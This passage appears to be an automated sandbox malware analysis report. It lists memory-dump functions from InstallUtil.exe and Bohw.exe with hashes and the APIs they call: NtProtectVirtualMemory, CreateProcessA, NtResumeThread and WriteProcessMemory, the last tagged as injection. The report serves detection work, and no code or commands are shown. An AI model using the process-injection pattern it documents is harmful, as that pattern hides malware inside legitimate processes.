Instruction Fuzzy Hash: D611B176504284DFCF15CF14D9C4B16BF72FB94324F28C6AAD8090B656C33AE85ACBA1

Function 00DDD4EB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3687730770.0000000000DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ddd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abce57805455fbad13e0e183dbad104b38b4f6e941f47554a424b7e7f7ae1c1d
Instruction ID: be7ea86e9e115c6642b2e46ead345f41de0538dba63fced45873e710e888deb5
Opcode Fuzzy Hash: abce57805455fbad13e0e183dbad104b38b4f6e941f47554a424b7e7f7ae1c1d
Instruction Fuzzy Hash: E111B176504244CFCF15DF14D9C4B16BF72FB88314F28C6AAE8090B256C33AD85ACBA1

Function 0272D980 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54eeeacb1b0baf4957c746f406bc787eb36c34f114ad557068b99e8f150003f2
Instruction ID: 9ac613949a75e66cbbc018b1c0af53d8f138f2c34ccbfcd4c8d355f3d6d407ec
Opcode Fuzzy Hash: 54eeeacb1b0baf4957c746f406bc787eb36c34f114ad557068b99e8f150003f2
Instruction Fuzzy Hash: 9A11FC70D0020ADFEB00EFB9D981B9EBBF1EB84304F14C56ED1149B259EB345A458B91

Function 00DED03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3687903003.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9d72851915523878f16b9cd24c13245b133e2210c8b1622926dc5e3fa9d021
Instruction ID: 87dc9171553c016a930379aad1d1a839b3862298b92791a137cf2f7fb2c95995
Opcode Fuzzy Hash: ae9d72851915523878f16b9cd24c13245b133e2210c8b1622926dc5e3fa9d021
Instruction Fuzzy Hash: 2511DD75504284CFCB11DF10C9C4B15BBA2FB84314F28C6A9E84A4B292C73AD84ACF62

Function 02726011 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 002bde668581df84a2e719b76bd4aa5bfa42b6c737ad5cf302735536ef166dcc
Instruction ID: 8dfc22dd21cc5842ea62be177e300bb10cfd717febbab545a3217de45db14463
Opcode Fuzzy Hash: 002bde668581df84a2e719b76bd4aa5bfa42b6c737ad5cf302735536ef166dcc
Instruction Fuzzy Hash: 8701D832B042149FCB169F99A810ABF3BABEFC9750F15802BF904D7294CB31CD1597A5

Function 0272AD50 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd2c801800cf4b923b4948b2a02704893e0f8524c48d9ec9c8774fb7030e450
Instruction ID: 296e32a661a82d28c21361247b5f61631086dfe4be18779208433cccbc0833b7
Opcode Fuzzy Hash: 1cd2c801800cf4b923b4948b2a02704893e0f8524c48d9ec9c8774fb7030e450
Instruction Fuzzy Hash: E4F0F0313406314B87269A3F9858A2E77DEEFC9A66305807DE905CB37ADF61CC078790

Function 02722010 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f32fb778351b4112a3c6c733509217ce5da5cfa50e06a37d2e9d88c56f3d1f
Instruction ID: 608d41e004b4970ddba391c7a2e5a9d8d0ac76d69c87cfe47209b68da0f10d5b
Opcode Fuzzy Hash: a4f32fb778351b4112a3c6c733509217ce5da5cfa50e06a37d2e9d88c56f3d1f
Instruction Fuzzy Hash: 8DE09B319102A64BCB1552A09C144EE7B38ED97210B445296D51477156E7B0651EC7A2

Function 02724EF0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1b670858fb7fdffaf738fe0a0c00c8e6715fe711940ab637c2bcfde08722ff
Instruction ID: f29408525dd6bb8f73feb7f15d1dd58ea1894ad31a89ed84d6d661dc16e2152c
Opcode Fuzzy Hash: eb1b670858fb7fdffaf738fe0a0c00c8e6715fe711940ab637c2bcfde08722ff
Instruction Fuzzy Hash: 40F05870E0831ACECB50EFA9C4657AFBFF1BB89300F60886AC505E6301EB7086458B81

Function 02724FA0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fae1dee0d51d30e90e4f222f01b7066dea32aa0ad6c44fc4b7a627df95a5aaa
Instruction ID: 3cc6e706db51b04ee1ec135e5ccf9d67c73c2cb9974826257159892e15da35ff
Opcode Fuzzy Hash: 7fae1dee0d51d30e90e4f222f01b7066dea32aa0ad6c44fc4b7a627df95a5aaa
Instruction Fuzzy Hash: 45E06830308251CBE711972DA83069F7BA6CFC7700B15446AEA01CB349EF205E458392

Function 02724F00 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 512c66134076dc695ac5593429746b874b0a6265f229c6b4b51db4176fe60a97
Instruction ID: f3c295a6254f3582885b1b1059753600b0a999022d16769bfb2339b866bc8e73
Opcode Fuzzy Hash: 512c66134076dc695ac5593429746b874b0a6265f229c6b4b51db4176fe60a97
Instruction Fuzzy Hash: 22E0C2B0D4031ADFDB40EFB884156AEBFF5BB48200F60886AC115E2340EB7486458FC1

Function 02726CB1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981c1b2da3a2f371ad6bef34cb7e17474f1605ff1dbb48b1f2f135a0929fd045
Instruction ID: cb58655118f85c29e4a5ebe94f6937cc4ff04bdb3b68090f0756f456d9faca27
Opcode Fuzzy Hash: 981c1b2da3a2f371ad6bef34cb7e17474f1605ff1dbb48b1f2f135a0929fd045
Instruction Fuzzy Hash: 04E0C2341283CA8FC701A3B9AC945683B25EA82700344C59AD8000616BDE78791A87A0

Function 02722020 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51feab805880051505ed018007520988100802ec7910a1378a914ab65fc02850
Instruction ID: 6ee9092de876cba45e18da9d39f88e53a58d7e8bff0f42bcb2fff214f0b6f7ee
Opcode Fuzzy Hash: 51feab805880051505ed018007520988100802ec7910a1378a914ab65fc02850
Instruction Fuzzy Hash: 02D01231D2026A578B04A6A5DC048DEB73DED95221B504666D51437140EB706659C7E1

Function 02729070 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 4291be623c91c5eb5bedc6124f35f3e5c8ea59137ebb6a1cdd326848229e959f
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 1EC01233A0C138AAA224208FBC48AA7AA8CD2C16B4E29023BF66C9320098429C8441E4

Function 0272B11D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1b40a976033d1c566e570f0ce9501d5f50e8a3179afa1a531ba2f4cd32f9c1f
Instruction ID: 60a868c466591a12e21a1eb06713a907a647a26e953ec1e386509c23bf52a762
Opcode Fuzzy Hash: a1b40a976033d1c566e570f0ce9501d5f50e8a3179afa1a531ba2f4cd32f9c1f
Instruction Fuzzy Hash: 76D0677AB40108DBCB04DF99E8409DDB776FB98221B048516E915A7260C6319971DB64

Function 02726CC0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c61f219b9b649dd07f180f7354e0e0172e46b9b5b51b1843461c819af7af38e
Instruction ID: 9bff45fbb0d9691c4130ee2ee624edf00e221a4c5a0c2529c9d9ca15036d6e45
Opcode Fuzzy Hash: 7c61f219b9b649dd07f180f7354e0e0172e46b9b5b51b1843461c819af7af38e
Instruction Fuzzy Hash: 83C0123003038B8FD704B776FC91659375AE6C0700754C929990406159DFB869558AE4

Function 02729A6F Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3689136358.0000000002720000.00000040.00000800.00020000.00000000.sdmp, Offset: 02720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2720000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea36b0b3b185dca6c85d69f15db7413d8053da2a29e1576ce858b45a1582d898
Instruction ID: bbd81b1b228f8ee3e50cfea7b741b5f1bc1127a1e765b21d436305fc2d695c9f
Opcode Fuzzy Hash: ea36b0b3b185dca6c85d69f15db7413d8053da2a29e1576ce858b45a1582d898
Instruction Fuzzy Hash: 46A00230984581CBCE079734AA18785BF78AF856A5F0C4AF690458481385240695C744

Analysis Process: Bohw.exePID: 6024, Parent PID: 4088COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	99%
Signature Coverage:	0%
Total number of Nodes:	291
Total number of Limit Nodes:	22

Executed Functions

Function 0652CBDD Relevance: 1.6, APIs: 1, Instructions: 106
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0652CC95

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 45728c84488960245d57d9d53810d8d69a48d810337c9cdb21f553fabc72d8e8
Instruction ID: 8d0a76fa4d57102f206cd67fad63c96eff545e4dc9abbcfd25c404f3d23fc6d5
Opcode Fuzzy Hash: 45728c84488960245d57d9d53810d8d69a48d810337c9cdb21f553fabc72d8e8
Instruction Fuzzy Hash: 5441A7B4D002589FCF10CFAAD984ADEFBB1BB49310F10942AE929B7340D735A905CF68

Function 0652CBE0 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0652CC95

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 0f1de6bb3d6cdd8a92656be877232828c1d36c061ecc4203acdf843580cf7adb
Instruction ID: e054f0911d78e1a3bee38d4bdab4167c767f3c6fd844fb54e84102f7dbadd1ca
Opcode Fuzzy Hash: 0f1de6bb3d6cdd8a92656be877232828c1d36c061ecc4203acdf843580cf7adb
Instruction Fuzzy Hash: D74197B4D002599FCF10CFAAD984ADEFBB1BB49310F10942AE919B7350D735A945CF68

Function 0652E0C8 Relevance: 1.6, APIs: 1, Instructions: 86nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0652E15E

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 1ab5626e9c31da34dcaca4eacf6caee515d38553e17bc72e3a77247a3e8e5894
Instruction ID: 23aa2df4cdf5b33cf35d1d4a1cbd77418e9cd641a51d90647e0077b87d9e23df
Opcode Fuzzy Hash: 1ab5626e9c31da34dcaca4eacf6caee515d38553e17bc72e3a77247a3e8e5894
Instruction Fuzzy Hash: BD31CAB4D012199FDB10CFAAD984AAEFBF4BB49310F10842AE915B7340C735A945CF94

Function 0652E0D0 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0652E15E

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e28cb5597d1ddf2f70cbc388f68f89003cff4c3f5ead4582b80e664e110bf254
Instruction ID: a62a9f584cfda4e5e8dfbd369fdc4d638b381ccf7ce2605ef31fe07426b04de3
Opcode Fuzzy Hash: e28cb5597d1ddf2f70cbc388f68f89003cff4c3f5ead4582b80e664e110bf254
Instruction Fuzzy Hash: 2031D8B4D012199FDB10CFAAE984AAEFBF0BF49310F10842AE918B7340C735A945CF94

Function 06530BCA Relevance: 1.6, Strings: 1, Instructions: 316COMMON

Download Yara Rule

Strings

uF, xrefs: 06530D16

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: f1dd860890c867bd0a3f908957eaf9d46aed069342761419d2558bd4468b83c3
Instruction ID: b23d51139fd53665e35bf25f1a03c3c3fe25bf5c0254c65b2e896c9c751825a8
Opcode Fuzzy Hash: f1dd860890c867bd0a3f908957eaf9d46aed069342761419d2558bd4468b83c3
Instruction Fuzzy Hash: 88E10370E01268DFEB94CFA4D884B9DBBF2FB49300F1085A9D409AB295DB785D85CF51

Function 06530C0A Relevance: 1.6, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

uF, xrefs: 06530D16

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: 926e7eb44f2cba2ad8d858db1d6401a312d6ed2bcd7b676ae2d0b3401e54156e
Instruction ID: 1a81f72d53e222d81c9e23604a717872aaa49c038e8f8d141a792ff28b5b1fa4
Opcode Fuzzy Hash: 926e7eb44f2cba2ad8d858db1d6401a312d6ed2bcd7b676ae2d0b3401e54156e
Instruction Fuzzy Hash: 88D10470E01268DFEB94CFA9C884B9DBBF2FB49300F1084A9D409AB295DB785D85CF51

Function 06530C18 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

uF, xrefs: 06530D16

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: b49c162a4d8f05c5c9ffc7308e5647d8e1fe8e01ed6c09550f5fc8ec465d6673
Instruction ID: 7abca419e4bc66b440af75a9464756a4bb7b83ead8117e189e5333a8bfe22339
Opcode Fuzzy Hash: b49c162a4d8f05c5c9ffc7308e5647d8e1fe8e01ed6c09550f5fc8ec465d6673
Instruction Fuzzy Hash: 85D10470E01268CFEB94CFA5C884B9DBBF2FB49300F1084A9D009AB295DB785D85CF51

Function 0695D870 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66172ee32a566e21962d89d25bfd82cf1f38e3c2dbe09e8d0d12cf6ef7f0b6f5
Instruction ID: 88c7e8c44fec4770a6c8349404402d6e4ec81a21ef0adde1ffd3bf597f4ac115
Opcode Fuzzy Hash: 66172ee32a566e21962d89d25bfd82cf1f38e3c2dbe09e8d0d12cf6ef7f0b6f5
Instruction Fuzzy Hash: FDD1BE74E01219DFDB54DFA9D880A9DBBB2BF89300F1180A9D809AB365DB35AD85CF50

Function 06537597 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d6b27c4385c19f5f5a744b358ebb30a1f17113ff3599cd9215a8807ad22ee4
Instruction ID: 1636ca8173ea891240156a51a200427957a2b4603352ab03f4772ca7c699c156
Opcode Fuzzy Hash: 26d6b27c4385c19f5f5a744b358ebb30a1f17113ff3599cd9215a8807ad22ee4
Instruction Fuzzy Hash: B1B129B0D05218DFEB94CFA9D994BADBBF1FF89300F2084A9D409AB291DB745985CF44

Function 06538538 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ff69f5b6451c8608dba526d681452213a5481bf5fc164c43cdf8aed4839256
Instruction ID: 4a93e70e021404ed2b234bafb506ea48735dd160baeef40e6aabad770111f7cc
Opcode Fuzzy Hash: d4ff69f5b6451c8608dba526d681452213a5481bf5fc164c43cdf8aed4839256
Instruction Fuzzy Hash: 31C1E470E01228DFEB98DF69D884B9DBBB2FB89300F1090A9E419A7391DB745D85CF40

Function 06538531 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85c646c2da90b3e63eb5eeb850455ac972854d2f3d6fe3a7ddacf288013db1c0
Instruction ID: 5852c85ae2bcb9bcdad21cd5afb4b8f72934ea51f44713a0e96460a515fef210
Opcode Fuzzy Hash: 85c646c2da90b3e63eb5eeb850455ac972854d2f3d6fe3a7ddacf288013db1c0
Instruction Fuzzy Hash: 16C1E370E01228DFEB98DF69D884B9DBBB2FB89300F1090A9E419A7391DB745D85CF40

Function 05536441 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e20f6352c30df40877da0e7b1e7f1459896ebca79cfc7b3ce1dbd2c75b43ea
Instruction ID: 0c55ff7ae51f594d2cd617586164f14f921ea1fcc7c7efb8e40bf2834a146e51
Opcode Fuzzy Hash: 78e20f6352c30df40877da0e7b1e7f1459896ebca79cfc7b3ce1dbd2c75b43ea
Instruction Fuzzy Hash: F7712970A1160A9FD748DF7AEC9069EBBF7FB84301F14C139D105AB369EB3819458B90

Function 05536450 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7494519e3b77ebb6c8b49cc169514dd3041e1e06a5ba2ee07d90b5a2ca053d7e
Instruction ID: b8f8e495d9d5d6068d162acebf1e180dbe06a2f10675d4b0e6ef67b5ffc59456
Opcode Fuzzy Hash: 7494519e3b77ebb6c8b49cc169514dd3041e1e06a5ba2ee07d90b5a2ca053d7e
Instruction Fuzzy Hash: A3710870A1160A9FD748DF7AEC9169EBBF7FB88300F14D139D105AB269EB3818458B94

Function 0653A5A4 Relevance: 3.8, Strings: 3, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 0653AA8C
G, xrefs: 0653A623
", xrefs: 0653AAB2

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: "$($G
API String ID: 0-2105381341
Opcode ID: 53c022ca74c3ce44b91fd5b8065d5f36f9aad822f426f531f1a1129df9378c08
Instruction ID: bdb1f7b8bd107151e68542808055a6a1f2db8e874d6121bb7b7c39343007ca6d
Opcode Fuzzy Hash: 53c022ca74c3ce44b91fd5b8065d5f36f9aad822f426f531f1a1129df9378c08
Instruction Fuzzy Hash: AF219AB494422ACFDBA0CF64C988BA9BBB1BB09304F0041E9D84DA3652E7759ED5DF40

Function 0653A05F Relevance: 2.5, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 0653A0E8
>, xrefs: 0653AA66

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID: >$D
API String ID: 0-1374516647
Opcode ID: 7942d8b51154f08c8205d0192fd28cdc7869aaa287ce2fa86b50a2dbe1e56a8d
Instruction ID: f168c72d1c22ad1dadccd83712fb1ea88871dea0af2edc39fa363f3841746ffe
Opcode Fuzzy Hash: 7942d8b51154f08c8205d0192fd28cdc7869aaa287ce2fa86b50a2dbe1e56a8d
Instruction Fuzzy Hash: 5221ACB4D0022ADFDB61CF64C994BE8BBB1BB49304F0091E9E549A7241EBB55EC5EF40

Function 06947A0F Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:, xrefs: 06947A4B
z, xrefs: 069411B7

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID: :$z
API String ID: 0-2542125264
Opcode ID: d27d1227de6435348284f0ded3172ec09c54db08d6bf61e814fb90f10b49c429
Instruction ID: e0399a5ef4d51b10a57f0157a378e62064b913bc69d1ae9a13e161b74e89f83e
Opcode Fuzzy Hash: d27d1227de6435348284f0ded3172ec09c54db08d6bf61e814fb90f10b49c429
Instruction Fuzzy Hash: FB012930949129DFEBA0AF64D8487A977B6EB48308F1045E8811D63A90CB751E84CF01

Function 0652D435 Relevance: 1.8, APIs: 1, Instructions: 268
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0652D6A7

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: dbad8a76c986cef0e39dac5e8ba292f3ebc67ae61f5fd98f7c8c3acfa863a641
Instruction ID: e8e646639e982a0f5a42d3c9b375702d6b52de771854ec8fe4d9ebaebcb036b6
Opcode Fuzzy Hash: dbad8a76c986cef0e39dac5e8ba292f3ebc67ae61f5fd98f7c8c3acfa863a641
Instruction Fuzzy Hash: 74A1E370D0022D8FDF50CFA9C985BEDBBB1BF4A304F149669E858A7280DB749985CF85

Function 0652D440 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0652D6A7

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 49dfe99e59083b39756652c4bce9d7be03b58be7edc60eb42dd887fb1bb39f24
Instruction ID: 44c88e02b1acd6e98daba3f221d3886790f700811f13be48af7ee28aca5c0ae1
Opcode Fuzzy Hash: 49dfe99e59083b39756652c4bce9d7be03b58be7edc60eb42dd887fb1bb39f24
Instruction Fuzzy Hash: 33A1E270D0022D8FDF50CFA9C985BEDBBB1BF4A304F14966AE858A7280DB749985CF45

Function 0652DEB0 Relevance: 1.6, APIs: 1, Instructions: 123
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0652DF8B

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 075d632e2e124a2424bf0338f21cdd4444c86c22e80ccd6d52bf4f42a0867571
Instruction ID: cca73958350a21f475e12a346ab5ef2d51f8d73f19a463dd4f159a67ccc8fcbd
Opcode Fuzzy Hash: 075d632e2e124a2424bf0338f21cdd4444c86c22e80ccd6d52bf4f42a0867571
Instruction Fuzzy Hash: D041ABB5D012599FCB00CFA9D984ADEFBF1BF49310F14942AE918B7250D335A945CF68

Function 0652DEB8 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0652DF8B

Memory Dump Source

Source File: 00000005.00000002.2820259798.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6520000_Bohw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
